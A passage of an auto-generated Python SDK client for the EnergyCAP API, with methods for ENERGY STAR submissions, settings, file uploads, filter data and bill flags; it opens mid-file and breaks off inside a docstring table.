get_portfolio_manager_property_meters.metadata = {'url': '/api/v3/energyStar/pmProperty/{pmPropertyId}/pmMeter'}
def get_energy_star_submission_status_list(
self, submission_begin_period, submission_end_period, filter=None, custom_headers=None, raw=False, **operation_config):
"""Get the submission status for places by submission period.
Places that do not match the filter criteria will not be returned.
NOTE: Deleting/voiding bills that have already been submitted will not
cause submission status to change from "submitted".
Returned submission status:
Submitted - submission has been made for this place and submission
period and no bills have been created or modified since the last
submission
No Data - no submission has been made for this place and submission
period and current submission period has no billing data
Incomplete - no submission has been made for this place and submission
period and current billing data is incomplete (some meters may not have
data or some days in submission period may not have data)
Ready - no submission has been made for this place and submission
period and current billing data is complete (every meter has data for
every day of this period), or submission has been made but billing data
has been added or modified since the last submission.
:param submission_begin_period: The beginning submission period to
select
:type submission_begin_period: int
:param submission_end_period: The ending submission period to select;
set equal to beginning submission period get one period
:type submission_end_period: int
:param filter: API filter string containing conditions
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.EnergyStarPlaceSubmissionStatusResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_star_submission_status_list.metadata['url']
# Construct parameters
query_parameters = {}
query_parameters['submissionBeginPeriod'] = self._serialize.query("submission_begin_period", submission_begin_period, 'int')
query_parameters['submissionEndPeriod'] = self._serialize.query("submission_end_period", submission_end_period, 'int')
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[EnergyStarPlaceSubmissionStatusResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_energy_star_submission_status_list.metadata = {'url': '/api/v3/energyStar/submissionStatus'}
def get_energy_star_tasks(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Get a list of ENERGY STAR tasks with their details.
:param filter: Filters to apply
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.EnergyStarTaskResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_star_tasks.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[EnergyStarTaskResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_energy_star_tasks.metadata = {'url': '/api/v3/energyStar/task'}
def get_energy_star_task(
self, energy_star_task_id, custom_headers=None, raw=False, **operation_config):
"""Get an ENERGY STAR task with its details.
:param energy_star_task_id:
:type energy_star_task_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyStarTaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyStarTaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_star_task.metadata['url']
path_format_arguments = {
'energyStarTaskId': self._serialize.url("energy_star_task_id", energy_star_task_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyStarTaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_energy_star_task.metadata = {'url': '/api/v3/energyStar/task/{energyStarTaskId}'}
def create_energy_star_submission(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Initiate (create) a submission of place data to ENERGY STAR.
:param body:
:type body: ~energycap.sdk.models.EnergyStarSubmissionRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyStarTaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyStarTaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_energy_star_submission.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'EnergyStarSubmissionRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyStarTaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_energy_star_submission.metadata = {'url': '/api/v3/energyStar/submit'}
def update_energy_star_metrics(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Update ENERGY STAR metrics for the places matching the request
criteria.
:param body: Periods and list of place identifiers for which to update
metrics
:type body: ~energycap.sdk.models.EnergyStarPlaceMetricsRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyStarTaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyStarTaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_energy_star_metrics.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'EnergyStarPlaceMetricsRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyStarTaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_energy_star_metrics.metadata = {'url': '/api/v3/energyStar/metrics'}
def unlink_owner_from_portfolio_manager(
self, delete_data=False, custom_headers=None, raw=False, **operation_config):
"""Unlink owner from portfolio manager account.
:param delete_data: If true, delete EnergyStar metrics and score.
False by default
:type delete_data: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.unlink_owner_from_portfolio_manager.metadata['url']
# Construct parameters
query_parameters = {}
if delete_data is not None:
query_parameters['deleteData'] = self._serialize.query("delete_data", delete_data, 'bool')
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
unlink_owner_from_portfolio_manager.metadata = {'url': '/api/v202110/energyStar/unlink'}
def get_energy_star_settings(
self, custom_headers=None, raw=False, **operation_config):
"""Get settings for ENERGY STAR submissions.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyStarSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyStarSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_star_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyStarSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_energy_star_settings.metadata = {'url': '/api/v202110/energyStar/setting'}
def edit_energy_star_settings(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit settings for ENERGY STAR submissions.
:param body: ENERGY STAR settings
:type body: ~energycap.sdk.models.EnergyStarSettingsRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyStarSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyStarSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_energy_star_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'EnergyStarSettingsRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyStarSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_energy_star_settings.metadata = {'url': '/api/v202110/energyStar/setting'}
def auto_submit_to_energy_star(
self, custom_headers=None, raw=False, **operation_config):
"""Automatically submit billing data to ENERGY STAR
By default calendarized bill data for a 13-month period (excludes
current and last month) in the "Ready" state for all buildings setup to
automatically submit to ENERGY STAR will be submitted
If 13 months is not preferred, set up the owner's systemdata key called
"EnergyStarAutoSubmitNumOfMonths" with an integer value representing
the preferred number of months
For example - Today is 25th Nov 2021 - all calendarized data for Sep
2020 through Sep 2021 will be submitted
The buildings submitted will be within the user's topmost place
No data prior to the earliest period to submit set up in ENERGY STAR
settings will ever be submitted.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyStarTaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyStarTaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.auto_submit_to_energy_star.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyStarTaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
auto_submit_to_energy_star.metadata = {'url': '/api/v202110/energyStar/autosubmit'}
def accept_property_and_meter_sharing_requests(
self, custom_headers=None, raw=False, **operation_config):
"""Accept any pending property and meter share requests from ENERGY STAR
Portfolio Manager.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyStarSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyStarSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.accept_property_and_meter_sharing_requests.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyStarSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
accept_property_and_meter_sharing_requests.metadata = {'url': '/api/v202110/energyStar/acceptShares'}
def get_pm_connection_status(
self, pm_user_name=None, custom_headers=None, raw=False, **operation_config):
"""Get the connection status for a Portfolio Manager account and database.
:param pm_user_name: User name used to log in to Portfolio Manager
:type pm_user_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccountConnectionStatusResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.AccountConnectionStatusResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_pm_connection_status.metadata['url']
# Construct parameters
query_parameters = {}
if pm_user_name is not None:
query_parameters['pmUserName'] = self._serialize.query("pm_user_name", pm_user_name, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccountConnectionStatusResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_pm_connection_status.metadata = {'url': '/api/v202110/energyStar/connectionstatus'}
def get_energy_star_commodity_mappings(
self, custom_headers=None, raw=False, **operation_config):
"""Get a list of all commodities and, if configured, their mappings in
ENERGY STAR.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.EnergyStarCommodityMeterTypeMapping] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_star_commodity_mappings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[EnergyStarCommodityMeterTypeMapping]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_energy_star_commodity_mappings.metadata = {'url': '/api/v202109/energyStar/commodity'}
def empty(
self, custom_headers=None, raw=False, **operation_config):
"""
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.empty.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
empty.metadata = {'url': '/api/v3/empty'}
def environment_method(
self, custom_headers=None, raw=False, **operation_config):
"""
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: Environment or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.Environment or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.environment_method.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('Environment', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
environment_method.metadata = {'url': '/api/v3/environment'}
def export_historical_bills(
self, export_file_name=None, body=None, custom_headers=None, raw=False, **operation_config):
"""
:param export_file_name:
:type export_file_name: str
:param body:
:type body: ~energycap.sdk.models.BillActionHistoricalExport
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: str or ClientRawResponse if raw=true
:rtype: str or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.export_historical_bills.metadata['url']
# Construct parameters
query_parameters = {}
if export_file_name is not None:
query_parameters['exportFileName'] = self._serialize.query("export_file_name", export_file_name, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillActionHistoricalExport')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('str', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
export_historical_bills.metadata = {'url': '/api/v3/generatebillimport'}
def upload_file(
self, file_data_type_id, file_name=None, body=None, custom_headers=None, raw=False, **operation_config):
"""Upload a file.
| File Data Type | File Data Type Id | Supported File Types
| Maximum Size |
|----------------|-------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------|
| Image | 16 | jpg, png, svg, gif, heic
| 100 MB |
| PDF | 17 | pdf
| 100 MB |
| Document | 18 | MS Word (doc, dot, wbk, docx,
docm, dotx, dotm, docb)<br />Excel (xls, xlt, xlm, xlsx, xlsm, xltx,
xltm, xlsb, xlw)<br />PowerPoint (ppt, pot, pps, pptx, pptm, potx,
potm, ppsx, ppsm, sldx, sldm)<br />OpenOffice (odt, ods, odp)<br
/>OneNote (one)<br />Other (rtf, txt, csv, xml)<br /> Zip (zip) | 100
MB |.
:param file_data_type_id: The data type of the file. You can retrieve
a list of supported data types by calling the GetFileDataTypes API
:type file_data_type_id: int
:param file_name: The name of the file
:type file_name: str
:param body: Binary data containing the file contents
:type body: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: str or ClientRawResponse if raw=true
:rtype: str or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.upload_file.metadata['url']
path_format_arguments = {
'fileDataTypeId': self._serialize.url("file_data_type_id", file_data_type_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if file_name is not None:
query_parameters['fileName'] = self._serialize.query("file_name", file_name, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/octet-stream'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'str')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('str', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
upload_file.metadata = {'url': '/api/v202105/fileStore/fileDataType/{fileDataTypeId}/upload'}
def get_file_data_types(
self, custom_headers=None, raw=False, **operation_config):
"""Get a list of file data types, their supported extensions, and max
size.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.FileDataTypeResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_file_data_types.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[FileDataTypeResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_file_data_types.metadata = {'url': '/api/v202105/fileStore/fileDataType'}
def get_filter_data(
self, data_field_id, search=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves list of values for data filter.
:param data_field_id:
:type data_field_id: int
:param search:
:type search: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.FilterDataResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_filter_data.metadata['url']
path_format_arguments = {
'dataFieldId': self._serialize.url("data_field_id", data_field_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if search is not None:
query_parameters['search'] = self._serialize.query("search", search, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[FilterDataResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_filter_data.metadata = {'url': '/api/v3/filterData/{dataFieldId}'}
def get_flag(
self, entity_type, entity_id, custom_headers=None, raw=False, **operation_config):
"""Get flag data for a specified entity.
:param entity_type: The type of entity the flag is being request for.
Supported values are: "Bill"
:type entity_type: str
:param entity_id: The identifier of the entity
:type entity_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: FlagResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.FlagResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_flag.metadata['url']
path_format_arguments = {
'entityType': self._serialize.url("entity_type", entity_type, 'str'),
'entityId': self._serialize.url("entity_id", entity_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('FlagResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_flag.metadata = {'url': '/api/v3/flag/{entityType}/{entityId}'}
def edit_flag(
self, entity_type, entity_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit flag data for a specified entity.
This API supports a wide variety of Flag-related actions. Below are
summaries of expected outcomes for possible combinations of property
values.
Create Flag(the entity is not yet flagged, therefore there is no
"modified" info)
| FlagTypeId | FlagStatusId |
CostRecovery | Assignees | Comment
| HoldFromExport | ReleaseExportHold |
Action
|
| ------------------------ | ------------------------ |
------------------------ | ------------------------ |
------------------------ | -------------------- | --------------------
|
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
| null | null | null
| null | **non-null** | **true**
| **true** | Exception, cannot set both HoldFromExport and
ReleaseExportHold at once
|
| null | null | null
| null | null | **non-null**
| **non-null** | Exception, must have at least one set
|
| null | null | null
| null | null | null
| null | Exception, must provided a non-null value for
HoldFromExport or ReleaseExportHold
|
| null | **not null** | **not null**
| **not null** | **not null** | false
| false | Exception, must have a type
|
| **not null** | null | null
| null | null | false
| false | Flagged, unresolved, specified type
|
| **not null** | **not null** | null
| null | null | false
| false | Flagged, unresolved(ignoring specified
status), specified type
|
| **not null** | null | **not null**
| null | null | false
| false | Flagged, unresolved, specified type, cost
recovery
|
| **not null** | null | null
| **not null**<sup>1</sup> | null | false
| false | Flagged, unresolved, specified type<br
/><sup>1</sup>If assignees not empty, assigned
|
| **not null** | null | null
| null | **not null** | false
| false | Flagged, unresolved, specified type, comment
|
| **not null**<sup>1</sup> | **not null**<sup>1</sup> | **not
null**<sup>1</sup> | **not null**<sup>2</sup> | **not
null**<sup>1</sup> | **true**<sup>1</sup> | false |
<sup>1</sup>Flagged, unresolved (ignoring specified status), specified
type, cost recovery, comment, held from export<br /><sup>2</sup>If
assignees not empty, assigned, comment
|
| **not null**<sup>1</sup> | **not null**<sup>1</sup> | **not
null**<sup>1</sup> | **not null**<sup>2</sup> | **not
null**<sup>1</sup> | false | **true**<sup>3</sup> |
<sup>1</sup>Flagged, unresolved (ignoring specified status), specified
type, cost recovery, comment<br /><sup>2</sup>If assignees not empty,
assigned, comment<br /><sup>3</sup>No action; will not release a newly
flagged bill for export |
Edit Unresolved Flag (the entity is already flagged)
| FlagTypeId | FlagStatusId |
CostRecovery | Assignees | Comment
| HoldFromExport | ReleaseExportHold |
Action
|
| ------------------------ | ------------------------ |
------------------------ | ------------------------ |
------------------------ | -------------------- | ----------------- |
---------------------------------------------------------------------------------------------------------------------------------------------------
|
| null | null | null
| null | **non-null** | **true**
| **true** | Exception, cannot set both HoldFromExport and
ReleaseExportHold at once
|
| null | null | null
| null | null | **non-null**
| **non-null** | Exception, must have at least one set
|
| null | null | null
| null | null | false
